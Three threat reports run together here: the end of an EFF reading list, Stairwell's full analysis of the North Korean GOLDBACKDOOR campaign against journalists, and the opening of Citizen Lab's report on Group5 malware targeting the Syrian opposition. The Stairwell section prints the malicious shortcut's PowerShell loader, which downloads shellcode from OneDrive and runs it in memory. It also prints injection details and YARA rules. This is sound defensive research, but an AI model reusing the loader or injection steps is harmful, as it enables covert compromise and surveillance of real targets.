f9dd8ebb062842798d53e78633ed9ca296f4a93dafb0fe60320a34a3d58d78d4 ELECTRONIC FRONTIER FOUNDATION EFF.ORG  24 Appendix B: Further Reading http://www.viktor-khrapunov.com/en/publications-en/mediapart/ http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyber attack_Infrastructure.pdf https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf http://www.welivesecurity.com/2013/05/16/targeted-threat-pakistan-india/ https://www.eff.org/deeplinks/2015/11/judge-rules-respublika-cannot-be-forced-take-dow n-articles-kazakhstan-proceed ELECTRONIC FRONTIER FOUNDATION EFF.ORG  25 http://www.viktor-khrapunov.com/en/publications-en/mediapart/ http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf http://www.welivesecurity.com/2013/05/16/targeted-threat-pakistan-india/ https://www.eff.org/deeplinks/2015/11/judge-rules-respublika-cannot-be-forced-take-down-articles-kazakhstan-proceed https://www.eff.org/deeplinks/2015/11/judge-rules-respublika-cannot-be-forced-take-down-articles-kazakhstan-proceed
The ink-stained trail of GOLDBACKDOOR Threat report Silas Cutler, Principal Reverse Engineer 21/04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Table of contents GOLDBACKDOOR deployment 3 Stage 1 4 Kang Min-chol Edits 2.zip 4 Kang Min-chol Edits 2.lnk 5 Stage 2 8 Fantasy injector 8 Final dropper 9 GOLDBACKDOOR 9 Tracking document 10 Conclusion 11 Appendix 12 YARA rules 12 Infrastructure 15 Files 15 2 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Over the past 10 years, the Democratic Peoples Republic of Korea DPRK has adopted cyber operations as a key means of supporting the regime.
While significant attention has been paid to the purported use of these operations as a means of funding DPRKs military programs, the targeting of researchers, dissidents, and journalists likely remains a key area for supporting the countrys intelligence operations.
Journalists are high-value targets for hostile governments.
They often are aggregators of stories from many individuals  sometimes including those with sensitive access.
Compromising a journalist can provide access to highly-sensitive information and enable additional attacks against their sources.
On 18 March 2022, NK News shared multiple malicious artifacts with the Stairwell threat research team from a spear-phishing campaign targeting journalists who specialize in the DPRK.
These messages were sent from the personal email of a former director of South Koreas National Intelligence Service NIS.
One of these artifacts was a new malware sample we have named GOLDBACKDOOR, based on an embedded development artifact.
Stairwell assesses with medium-high confidence that GOLDBACKDOOR is the successor of, or used in parallel with, the malware BLUELIGHT, attributed to APT37 / Ricochet Chollima.
This assessment is based on technical overlaps between the two malware families and the impersonation of NK News, a South Korean news site focused on the DPRK.
NK News has published an article detailing the incident and this report will outline the technical process in which GOLDBACKDOOR is deployed on infected systems.
3 04/2022 https://www.nknews.org/2022/04/north-korean-hackers-steal-ex-intelligence-officials-emails-in-malware-attack/ The ink-stained trail of GOLDBACKDOOR Threat report GOLDBACKDOOR deployment Deployment of GOLDBACKDOOR is a multi-stage process, likely designed to avoid detection by antivirus or endpoint security.
This process can be logically subdivided into two major components, each with two subsections.
A high-level overview of the deployment process is shown below: By separating the first stage tooling and the final payload, the actor retains the ability to halt deployment after initial targets are infected.
Additionally, this design may limit the ability to conduct retrospective analysis once payloads are removed from control infrastructure.
Stage 1 Kang Min-chol Edits 2.zip The deployment chain for GOLDBACKDOOR in this incident was predicated on a user downloading a ZIP file from https[:]//main[.]dailynk[.
]us/regex?idoTks2fileKang Min-chol Edits 2.zip and executing a compressed Windows shortcut.
The domain dailynk[.
]us was likely chosen to impersonate NK News (dailynk[.
]com), previously used by APT37 as a strategic web compromise SWC using CVE20201380 and CVE202126411.
At the time of initial analysis, the domain 4 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report mail[.]dailynk[.
]us had stopped resolving however, from historic DNS resolutions, we were able to identify 142.93.201[.
]77 as the last address this domain resolved and were able to retrieve the ZIP file.
This ZIP file SHA256 hash: 9eddd99db6f5a7791f7e446792f04b301d29f6b0596920e8b39647cc7585185d) was named Kang Min-chol Edits 2.zip and contains a single Windows shortcut file.
Timestamps in the ZIP file show that the contained file was added on 17 March 2022 at 1651 UTC.
Kang Min-chol Edits 2.lnk Contained within the initial ZIP archive was a 282.7 MB Windows shortcut file LNK named Kang Min-chol Edits 2.lnk SHA256 hash: 120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5).
The attackers masqueraded this shortcut as a document, using both the icon for Microsoft Word and adding comments similar to a Word document.
Additionally, this LNK file was padded with 0x90 (or NOP/No Operation) bytes to artificially increase the size of this file, potentially as a means of preventing upload to detection services or malware repositories.
When this LNK file is executed, it executes a PowerShell script that writes and opens a decoy document before starting the deployment process of GOLDBACKDOOR.
A formatted version the PowerShell command and executed script are shown below: windir\SysWOW64\cmd.exe /c powershell -windowstyle hidden dirPath  Get-Location if(dirPath -Match System32 -or dirPath -Match Program Files) dirPath  temp  lnkpath  Get-ChildItem -Path dirPath -Recurse .lnk  where-object _.length -eq 0x0010D98A06 Select-Object -ExpandProperty FullName pdfFile  gc lnkpath -Encoding Byte -TotalCount 00547552 -ReadCount 00547552 pdfPath  temp\Kang Min-chol Edits 2.doc sc pdfPath ([byte[]](pdfFile  select -Skip 009440)) -Encoding Byte  pdfPath won11 temple5B4E...(Removed for readability)...293B martin for(i0i -le temple.
Length-2ii2) Sorretemple[i]temple[i1] martin martin[char]([convert]::toint16(Sorre,16))  Invoke-Command -ScriptBlock ([Scriptblock]::Create(martin)) Invoke-Command -ScriptBlock ([Scriptblock]::Create(won11)) 5 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report The decoy document SHA256 hash: 94ca32c0a3002574d7ea1bef094146a9d3b2ad0018b3e3d3f4ffca8689b89e5a) dropped by this LNK file is embedded at file offset 0x24E0 9440 and written to temp\Kang Min-chol Edits 2.doc, before being opened.
The following screenshot shows the opened document after a user runs the shortcut.
To a user executing the LNK file, believing it was a legitimate document, the only indication that something suspicious was underway may have been a short delay while the document was extracted and written to disk.
Screenshot of decoy document After deploying the decoy document, the PowerShell script decodes a second PowerShell script, hex-encoded in the temple variable, which it executes using Invoke-Command.
A decoded and formatted version of the second PowerShell script is shown below: 6 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report [Net.
ServicePointManager]::SecurityProtocol[Enum]::ToObject([Net.
SecurityProtocolType], 3072) aa[DllImport(kernel32.dll)]public static extern IntPtr GlobalAlloc(uint b,uint c) bAdd-Type -MemberDefinition aa -Name AAA  -PassThru abab  [DllImport(kernel32.dll)]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d) aabAdd-Type -MemberDefinition abab -Name AAB -PassThru c  New-Object System.
Net.
WebClient dhxxps://api[.]onedrive[.
]com/v1.0/shares/uaHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjl6ZnJ3eFdXRW9hczVYaV c5TWUxNGlhQnM_ZT0wZVdDcTc/root/content bb[DllImport(kernel32.dll)]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f) cccAdd-Type -MemberDefinition bb -Name BBB -PassThru ddd[DllImport(kernel32.dll)]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b) fffAdd-Type -MemberDefinition ddd -Name DDD -PassThru e112 do try c.Headers[user-agent]  connnecting... xmpw4c.
DownloadData(d) x0  b::GlobalAlloc(0x0040, xmpw4.Length0x100) old  0 aab::VirtualProtect(x0, xmpw4.Length0x100, 0x40, [ref]old) for (h  1 h -lt xmpw4.Length h) [System.
Runtime.
InteropServices.
Marshal]::WriteByte(x0, h-1, (xmpw4[h] -bxor xmpw4[0]) )  trythrow 1 catch handleccc::CreateThread(0,0,x0,0,0,0) fff::WaitForSingleObject(handle, 5001000)  e222  catch sleep 11 e112  while(e -eq 112) When executed, this second PowerShell script will download and execute a shellcode payload XOR encoded using the first-byte as a key) stored on Microsoft OneDrive.
When manually downloaded during analysis, this payload was named Fantasy.
7 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Stage 2 Fantasy injector Fantasy is the first of a two-part process for deploying GOLDBACKDOOR.
Both parts are written in position-independent code (shellcode) containing an embedded payload, and use process injection to deploy GOLDBACKDOOR.
Shellcode typically resolves external Windows API calls at runtime.
Fantasy uses a common technique for this, which involves parsing the InLoadOrderModuleList structure of the Process Environment Block PEB of the parent process to generate a list of libraries already loaded.
When Fantasy needs to use one of these API calls, it passes a hashed value of the intended API call to a dedicated function that returns the corresponding address.
This function hashes loaded Windows API names and libraries until it matches the requested hash.
A pseudocode implementation of this hashing is shown below: def resolve_import(apiName, dllFilename): Ex: apiName  VirtualAlloc dllFilename: unicode(kernel32.dll) Return: 0xAA7ADB76 dllHash  0 nameHash  0 for c in dllFilename: dllHash  ror(dllHash, 11, 32) if ord(c)  97: dllHash - 32 dllHash  ord(c)  dllHash for i in apiName: nameHash  ror(nameHash, 15, 32)  i nameHash  (nameHash  dllHash) return nameHash Upon execution, Fantasy parses files under WINDIR\System32 until one is found that ends in .exe that Fantasy has read access.
The full path to the identified executable file is written to localappdata\\log_gold.txt, possibly for debugging purposes, before being started in a suspended state using CreateProcessA and passing the CREATE_SUSPENDED flag.
Once a suspended process has been created, Fantasy will decode a shellcode payload, which will be injected into the newly created process.
The injected payload is stored at offset 0x672 and obfuscated using a single byte eXclusive OR XOR cipher.
The size and XOR key for this payload are structured 8 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report using a distinctive format to avoid statically defining values in the shellcode.
A representation of this structure is shown below: 00000000 23 fa 53 10 00 a0 cf 3f ae 67 07 2f 9a 68 34 ee S.. ?
g./.h4 00000010 78 76 75 10 ce 76 49 33 73 cb a5 23 23 23 dc f3 xvu.vI3s ... 23               XOR key fa 53 10 00     - Payload size a0 cf 3f ae...  - Encoded payload data After this payload is decoded, Fantasy uses a standard process involving VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread to spawn a thread under the previously created process for execution of this payload.
Final dropper The shellcode payload, running as a thread in a process created by Fantasy, is responsible for the final deployment of GOLDBACKDOOR.
Fundamentally, this component is close in design and functionality to its parent shellcode loader it uses the same method for API resolution, payload structure, and writes a log file to localappdata\\log_gold2.txt.
The payload delivered by this stage is a Windows Portable Executable PE file for GOLDBACKDOOR.
As with the previous shellcode payload, the first byte is used as an XOR key and the proceeding DWORD defines the size of the encoded payload.
After decoding, the PE header of the payload is parsed for its respective EntryPoint1, which is then called to begin the execution of GOLDBACKDOOR.
GOLDBACKDOOR The identified copy of GOLDBACKDOOR is a Windows Portable Executable PE file with a build timestamp of 9 February 2022 023830 UTC and contains a Program Database PDB path reference to D:\Development\GOLD-BACKDOOR\Release\FirstBackdoor.pdb, from which was named.
In contrast with the timestamps of files in the ZIP file, which were added within hours of being sent to targets, this executable was created over a month prior, potentially indicating the final payload is not customized on a per-target basis.
While it is unclear from this sample alone if individual operators have the ability to generate on-demand unique copies of GOLDBACKDOOR, these types of time deltas can sometimes be reflective of actor groups composed of separated operational and development teams.
1 https://docs.microsoft.com/en-us/windows/win32/debug/pe-format 9 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report During Stairwells analysis of this malware, the identified PDB path in GOLDBACKDOOR led to the initial linking of this malware to a copy of BLUELIGHT, reported by Volexity2 in August 2021, containing a PDB path of E:\Development\BACKDOOR\ncov\Release\bluelight.pdb.
Based on corresponding build paths, its likely both malware families were created by a common development resource.
GOLDBACKDOOR utilizes cloud service providers for receiving actor commands and exfiltrating data.
The sample analyzed as part of this investigation used Microsoft OneDrive and Graph APIs, while an additional identified sample SHA256 hash: 485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028) used Google Drive.
Embedded in the analyzed copy of GOLDBACKDOOR are a set of API keys used to authenticate against Azure and retrieve commands for execution.
Received commands are prefixed with a single-character value, which denotes the corresponding task requested of the malware.
GOLDBACKDOOR provides attackers with basic remote command execution, file downloading/uploading, keylogging, and the ability to remotely uninstall.
This functionality and implementation closely match BLUELIGHT however, the increased focus appears to have been placed on file collection and keylogging.
A list of file extensions checked for by this malware are listed below: jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rft, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3, inf, jog, bin Tracking document While analyzing the deployment chain of GOLDBACKDOOR, NK News provided a second file SHA256 hash: c5369c2ce7f33d6cd209cd61226a0637adc809b864deb73a98d78bfed0883163) that was sent by the attackers and initially staged on Microsoft OneDrive.
Contained in this ZIP file was a single Microsoft Word document named Kang Min-chol Edits 2.doc SHA256 hash: 18c9fd4f781789cd15cee4fcb18fa983897fc9876422d662a2243ff7499f5948), consistent with the file names from the initial phishing attempt.
The content of this document matches that of the decoy document deployed by the LNK file in the previous phishing attempt, with one critical addition.
Embedded in the document is a reference to an external image hosted on the cloud application platform Heroku.
When viewed in Microsoft Word, if this link returns an image, it will be presented as part of the document otherwise, it may go unnoticed by a user.
When the document is viewed using the GNU strings tool, the embedded link is easily seen: 2 https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/ 10 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Embedded link in tracking document Based on the URL path and value in the id field corresponding to the documents name, it is likely this was included to give the attacker visibility into when and where the document was opened.
This type of operational security tradecraft is generally consistent with sophisticated threat actors with mature offensive programs.
Conclusion Tracking cyber threats is an iterative process, and no incident provides us with a complete view into every aspect of a threat actors history.
However, every incident affords us the opportunity to learn something new.
Over time, we develop an understanding of the range of an actors capabilities, objectives, and tradecraft.
Based on the presented analysis, the GOLDBACKDOOR malware shares strong technical overlaps with the BLUELIGHT malware.
These overlaps, along with the suspected shared development resource and impersonation of NK News, support our attribution of GOLDBACKDOOR to APT37.
Stairwell would like to thank NK News for the opportunity to assist in this investigation, the SentinelOne research team for their support, and Volexity for their outstanding prior research into this actor.
11 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Appendix YARA rules Stairwells Inception users already have access to these rules automatically.
rule NK_GOLDBACKDOOR_LNK  meta: author Silas Cutler (silasStairwell.com) description  Detection for LNK file used to deploy GOLDBACKDOOR version  0.1 strings: WINWORD.exe wide nocase won11 \temple wide dirPath -Match System32 -or dirPath -Match Program Files wide condition: 2 of them and uint16(0)  0x4c  rule NK_GOLDBACKDOOR_LNK_payload  meta: author Silas Cutler (silasStairwell.com) description  Detection for obfuscated Powershell contained in LNK file that deploys GOLDBACKDOOR version  0.1 strings: WriteByte(x0, h-1, (xmpw4[h] -bxor xmpw4[0] ascii wide nocase condition: all of them  rule NK_GOLDBACKDOOR_obf_payload  meta: author Silas Cutler (silasStairwell.com) description  Detection for encoded shellcode payload downloaded by LNK file that drops GOLDBACKDOOR version  0.1 strings: init   e6b3 6d0a 6502 1e67 0aee e7e6 e66b eac2 condition: 12 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report init at 0  rule NK_GOLDBACKDOOR_inital_shellcode  meta: author Silas Cutler (silasStairwell.com) description  Detection for initial shellcode loader used to deploy GOLDBACDOOR version  0.1 strings: //seg000:07600058 8D 85 70 FE FF FF                       lea     eax, [ebpvar_190] //seg000:0760005E C7 45 C4 25 6C 6F 63                    mov     dword ptr [ebpvar_3C], col //seg000:07600065 50                                      push    eax //... //seg000:0760008F C7 45 D8 6F 6C 64 2E                    mov     dword ptr [ebpvar_3C14h], .dlo //seg000:07600096 C7 45 DC 74 78 74 00                    mov     dword ptr [ebpvar_3C18h], txt C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45 CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F 67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 // Import loaders 51 50 57 56 B9 E6 8E 85 35 E8 ??
??
?? ?
?
FF D0 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ??
??
?? ?
?
FF D0 condition: all of them  rule NK_GOLDBACKDOOR_injected_shellcode  meta: author Silas Cutler (silasStairwell.com) description  Detection for injected shellcode that decodes GOLDBACKDOOR version  0.1 strings: dec_routine   8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 rtlfillmemory_load  B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0 StartModule log_file_name  C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C 61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24 50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C 64 32 C7 44 24 5C 2E 74 78 74 13 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 condition: 3 of them  rule NK_GOLDBACKDOOR_generic_shellcode  meta: author Silas Cutler (silasStairwell.com) description  Generic detection for shellcode used to drop GOLDBACKDOOR version  0.1 strings: B9 8E 8A DD 8D 8B F0 E8 ??
??
?? ?
?
FF D0 B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ??
??
?? ?
?
FF D0 condition: all of them  rule NK_GOLDBACKDOOR_Main  meta: author Silas Cutler description  Detection for Main component of GOLDBACKDOOR version  0.1 strings: str1  could not exec bash command.
wide str2  userprofile\\AppData wide str3  Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3112.113 Safari/537.36 wide str4  tickount: d str5  Service-0x wide str6  Main Returned b64_1  TwBuAGUARAByAHYAVQBwAGQAYQB0AGUAAAA b64_2  aGFnZW50dHJheQ b64_3  YXBwbGljYXRpb24vdm5kLmdvb2dsZS1hcHBzLmZvbGRlcg pdb  D:\\Development\\GOLD-BACKDOOR\\ condition: 4 of them or ( pdb and 1 of them )  14 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Infrastructure Indicator Type Date Active Description main[.]dailynk[.
]us Domain March 2022 Domain used for staging malicious document 142.93.201.77 IP address March 2022 IP address main[.]dailynk[.
]us resolved to at the time of the incident Files File Name File Type Size SHA256 Hash Kang Min-chol Edits 2.zip Zip archive file 487K 9eddd99db6f5a7791f7e446792f04b301d 29f6b0596920e8b39647cc7585185d Kang Min-chol Edits 2.lnk Windows shortcut file 282.7M 120ca851663ef0ebef585d716c9e2ba67b d4870865160fec3b853156be1159c5 Kang Min-chol Edits 2.doc Microsoft Office Document 526K 94ca32c0a3002574d7ea1bef094146a9d 3b2ad0018b3e3d3f4ffca8689b89e5a Fantasy Binary Data 1.1M 45ece107409194f5f1ec2fbd902d041f055 a914e664f8ed2aa1f90e223339039 N/A GOLDBACKDOOR Binary Data 1.1M c02d0f7bc47bfd46bf88cad0648b24118c a77675c77595b68c0da9d91208b1de Kang Min-chol Edits 2.zip Tracking Document zip) Zip archive file 187K c5369c2ce7f33d6cd209cd61226a0637a dc809b864deb73a98d78bfed0883163 Kang Min-chol Edits 2.doc Tracking Document) Microsoft Office Document 525K 18c9fd4f781789cd15cee4fcb18fa983897 fc9876422d662a2243ff7499f5948 N/A Windows portable executable 1.2M 485246b411ef5ea9e903397a5490d1069 46a8323aaf79e6041bdf94763a0c028 15 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report For more information on the intelligence provided in this report, contact us at researchstairwell.com Stairwell helps organizations take back the cybersecurity high ground with solutions that attackers cant evade.
Its flagship product, the Inception platform, empowers security teams to outsmart any attacker.
Stairwell is composed of security industry leaders and engineers from Google and is backed by Sequoia Capital, Accel, and Gradient Ventures.
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Group5: Syria and the Iranian Connection citizenlab.org /2016/08/group5-syria/ By John Scott-Railton, Bahr Abdulrazzak, Adam Hulcoop, Matt Brooks,  Katie Kleemola The Citizen Lab at the Munk School of Global Affairs, University of Toronto Lookout Inc. Read the Associated Press exclusive, Read the op-ed by Citizen Lab Director Ron Deibert.
Other media: BoingBoing, BBC, Voice of America Persian, IB Times, Softpedia, Asharq Al-Awsat, AlArabiya, SecurityWeek, SC Magazine, Okaz, Milliyet, Twsas, Radio Sawa, Foreign Policy, Schneier on Security.
Executive Summary This report describes an elaborately staged malware operation with targets in the Syrian opposition.
The operators use a range of techniques to target Windows computers and Android phones with the apparent goal of penetrating the computers of well-connected individuals in the Syrian opposition.
We first discovered the operation in late 2015 when a member of the Syrian opposition spotted a suspicious e-mail containing a PowerPoint slideshow.
From this initial message, we uncovered a watering hole website with malicious programs, malicious PowerPoint files, and Android malware, all apparently designed to appeal to members of the opposition.
Elements of the Syrian opposition have been targeted by malware campaigns since the early days of the conflict: regime- linked malware groups, the Syrian Electronic Army, ISIS, and a group linked to Lebanon reported by FireEye in 2015 have all attempted to penetrate opposition computers and communications.
Some of these operations are still active as of the time of writing.
This report adds one more threat actor to the list: Group5, which we name to reflect the four other known malware groups.
Group5 stands out from the operations that have already been reported on: some of the tactics and tools used have not been observed in this conflict the operators seem comfortable with Iranian Persian dialect tools and Iranian hosting companies and they appear to have run elements of the operation from Iranian IP space.
1/48 https://citizenlab.org/2016/08/group5-syria/ http://bigstory.ap.org/article/6ab1ab75e89e480a9d12befd3fea4115/experts-iranian-link-attempted-hack-syrian-dissident https://www.washingtonpost.com/posteverything/wp/2016/08/02/how-foreign-governments-spy-using-email-and-powerpoint/ https://boingboing.net/2016/08/02/iranians-connected-to-phishing.html http://www.bbc.com/persian/science/2016/08/160802_an_iran_syria_dissidents_attempted_hack http://ir.voanews.com/a/iranian-hack-syrian-dissident/3445779.html http://www.ibtimes.co.uk/suspected-iranian-cyberespionage-group-targets-syrian-dissidents-1574221 http://news.softpedia.com/news/new-cyber-espionage-group-targets-syrian-dissidents-506952.shtml http://aawsat.com/home/article/704806/D985D986D8B8D985D8A9-D8A3D985D98AD8B1D983D98AD8A9-D8A7D984D980C2ABD987D8A7D983D8B1D8B2C2BB-D8A7D984D8A5D98AD8B1D8A7D986D98A-D98AD986D8B6D985-D984D984D8B5D8B1D8A7D8B9-D981D98A-D8B3D988D8B1D98AD8A7 https://www.youtube.com/watch?vJaWhUkBlqC4 http://www.securityweek.com/iranian-actor-group5-targeting-syrian-opposition http://www.scmagazine.com/researchers-spot-malware-targeting-syrian-opposition/article/514204/ http://www.okaz.com.sa/new/Issues/20160804/Con20160804851237.htm http://www.milliyet.com.tr/iran-dan-esad-a-hacker-destegi--dunya-2288478/ http://twsas.org/2016/08/D981D98A-D8AFD988D984-D985D986D987D8A7-D8B3D988D8B1D98AD8A9-D988D8A7D984D8A5D985D8A7D8B1D8A7D8AA-D8A8D8B1D985D8ACD98AD8A7D8AA-D985/ http://www.radiosawa.com/a/syria-emirates-spy-twitter-/317518.html http://foreignpolicy.com/2016/08/03/situation-report-drones-special-ops-help-in-libya-strikes-navy-spy-trial-set-the-long-reach-of-isis-china-makes-its-case-and-lots-more/ https://www.schneier.com/blog/archives/2016/08/how_the_iranian.html https://citizenlab.org/wp-content/uploads/2016/08/2-Noura-Al-Ameer.jpg https://citizenlab.org/wp-content/uploads/2016/08/3-email-assadcrimes.png https://citizenlab.org/wp-content/uploads/2016/08/4-al-ameer-email.png https://citizenlab.org/wp-content/uploads/2016/08/5-threat-actor-replied.png https://citizenlab.org/wp-content/uploads/2016/08/6-figure-2-screenshot-iranian-attack-1984.png https://citizenlab.org/wp-content/uploads/2016/08/7-assadcrimes.png https://citizenlab.org/wp-content/uploads/2016/08/9-slide-from-assadcrimes.png https://citizenlab.org/wp-content/uploads/2016/08/10-figure-5-alshohadaa.png https://citizenlab.org/wp-content/uploads/2016/08/11-figure-6-malicious-powerpoint.png https://citizenlab.org/wp-content/uploads/2016/08/12-group5-malware-techniques.jpg https://citizenlab.org/wp-content/uploads/2016/08/13-njrat.png https://citizenlab.org/wp-content/uploads/2016/08/14-fake-flash-player-update.png https://citizenlab.org/wp-content/uploads/2016/08/15-figure-9-droidjack.png https://citizenlab.org/wp-content/uploads/2016/08/16-figure10-screenshot.png https://citizenlab.org/wp-content/uploads/2016/08/17-figure11-hostnegar.png https://citizenlab.org/wp-content/uploads/2016/08/18-figure12-user-agents.png https://citizenlab.org/wp-content/uploads/2016/08/19-figure-13-useragents.png https://citizenlab.org/wp-content/uploads/2016/08/20-figure-14-mailer.png https://citizenlab.org/wp-content/uploads/2016/08/21a-crypter-ir.png https://citizenlab.org/wp-content/uploads/2016/08/21b-contact-page.png https://citizenlab.org/wp-content/uploads/2016/08/22a-crypting-org.png https://citizenlab.org/wp-content/uploads/2016/08/22b-list-hacking-services.png https://citizenlab.org/wp-content/uploads/2016/08/23-figure-17-defacement-page.png https://citizenlab.org/wp-content/uploads/2016/08/24-figure-18-OLE-package.png https://citizenlab.org/wp-content/uploads/2016/08/25-figure-19-OLE-package.png https://citizenlab.org/wp-content/uploads/2016/08/26-figure-20-putty-exe.png https://citizenlab.org/wp-content/uploads/2016/08/27-deobfuscating.png https://citizenlab.org/wp-content/uploads/2016/08/28-unpacking-malware.png https://citizenlab.org/wp-content/uploads/2016/08/29-figure-22-AES-decryption.png https://citizenlab.org/wp-content/uploads/2016/08/30-figure-23-nanocore.png https://citizenlab.org/wp-content/uploads/2016/08/31-figure-24-OLE.png https://citizenlab.org/wp-content/uploads/2016/08/32-figure-25-njrat-config.png https://citizenlab.org/wp-content/uploads/2016/08/33-figure-26-malware-dropping.png https://citizenlab.org/wp-content/uploads/2016/08/34-figure-27-RAT-ports.png https://citizenlab.org/wp-content/uploads/2016/08/35-figure-28-headers.png https://citizenlab.org/wp-content/uploads/2016/08/36a-figure-29-malicious-app.png https://citizenlab.org/wp-content/uploads/2016/08/36a-figure-29-hidden.png https://citizenlab.org/wp-content/uploads/2016/08/37-figure-30-malicious-app-error.png https://citizenlab.org/wp-content/uploads/2016/08/38a-figure-31-references.png https://citizenlab.org/wp-content/uploads/2016/08/38b-figure-31-references.png https://citizenlab.org/wp-content/uploads/2016/08/39-figure-32-manifest.png https://citizenlab.org/wp-content/uploads/2016/08/40-figure-33-main-activity.png https://citizenlab.org/wp-content/uploads/2016/08/41-figure-34-main-activity.png https://citizenlab.org/wp-content/uploads/2016/08/42-figure-35-defined-receiver.png https://citizenlab.org/wp-content/uploads/2016/08/43-figure-36-camera-video.png https://citizenlab.org/wp-content/uploads/2016/08/44-figure-37-droidjack.png https://citizenlab.org/wp-content/uploads/2016/08/45-figure-38-droidjack-whatsapp.png https://citizenlab.org/wp-content/uploads/2016/08/46-samples.png https://citizenlab.org/wp-content/uploads/2016/08/47a-compile-time-pdb-full.png https://citizenlab.org/wp-content/uploads/2016/08/48-analysis-samples.png https://citizenlab.org/wp-content/uploads/2016/08/49-figure-39-mr-tekide.png https://citizenlab.org/wp-content/uploads/2016/08/50-figure-40-mr-tekide.png https://citizenlab.org/wp-content/uploads/2016/08/51-figure-41-pac-crypt-page.png Like a chameleon, Group5 borrows opposition text and slogans for e-mail messages and watering holes, showing evidence of good social engineering and targeting.
However, Group5s technical quality is low, and their operational security uneven.
This is a common feature of many operations in the Syrian context: since the baseline security of many of the targets is very low, many successful threat actors seem to conserve (and in some cases not possess) more sophisticated techniques.
We believe we identified Group5 early in its lifecycle, before all of the malware that had been staged and prepared could be deployed in a full campaign.
Our analysis indicates that Group5 is likely a new entrant in Syria, and we outline the circumstantial evidence pointing to an Iranian nexus.
We do not conclusively attribute Group5 to a sponsor, although we suspect the interests of a state are present, in some form.
Group5 is just the latest addition to an expanding cast of actors targeting Syrian opposition groups, and its entry into the conflict shows the continuing information security risks that they face.
Background: The Perpetual Targeting of the Syrian Opposition Syrians have experienced monitoring and blocking of their electronic communications for many years.
As a result, many 2/48 https://citizenlab.org/2014/11/citizen-lab-research-on-blue-coat-in-article-on-censorship-syria/ more technically literate Syrians have familiarized themselves with VPNs and other tools to circumvent simple blocking, and achieve a degree of privacy.
After the 2011 Uprising began, the regime disconnected telecommunications services in many areas controlled by opposition groups.
This led, in these areas, to the widespread adoption of satellite internet connectivity, mostly via VSAT (Very Small Aperture Terminal) services like Tooway and iDirect, and to a lesser extent the use of BGAN (Broadband Global Area Network) terminals.
At the same time, the Syrian oppositions activities outside the country, both in neighboring countries like Turkey, as well as in the diaspora, dramatically increased.
Much of this activity takes place over social networks, free e-mail accounts like Gmail (and Google Apps for Work), and via tools like Skypes VoIP services.
These shifts in connectivity limited the effectiveness of the passive monitoring and blocking used by the Al Assad Regime, and frustrated its abilities to monitor the opposition.
However, the shift towards social networks and other online tools has created new opportunities for the regime to target the opposition.
Opposition members constantly share information, files, tools and programs, via social media.
This highly- connected environment enables them to be highly aware of changing events, and quickly mobilize resources.
In addition, a number of online services, such as the Google Play Store, are blocked or restricted for Syria.
As a result, a culture of sharing Android APK files has also developed.
The heavy reliance on popular online platforms, and regular sharing of tools, presents many opportunities to seed malicious files.
For the regime, a successful operation means a chance to regain visibility into the activities of groups within the geographic borders of Syria, while extending their reach outside into the diaspora.
For other groups, such as ISIS, the digital vulnerability of the opposition presents an opportunity to develop a capability against opposition communications.
The following section outlines several of these known threat actors.
Regime-Linked Groups The most well-known threat actor to target the Syrian Revolution is the Syrian Electronic Army (SEA).
However, many of the targets of the SEA have been Western organizations, although the SEA continues to conduct lower-profile operations that include malware against the opposition.
Less notorious, although still the subject of reporting, are malware groups linked to the regime.
These malware groups have been active since 2011, and have used a wide range of Commercial- Off-The-Shelf (COTS) Remote Access Trojans (RATs) to target the opposition.
Typically, these groups bundle RATs with a wide range of documents and programs designed to appeal to the opposition.
Over the years, these campaigns have included everything from revolution plans, lists of wanted suspects, to fake security and encryption tools.
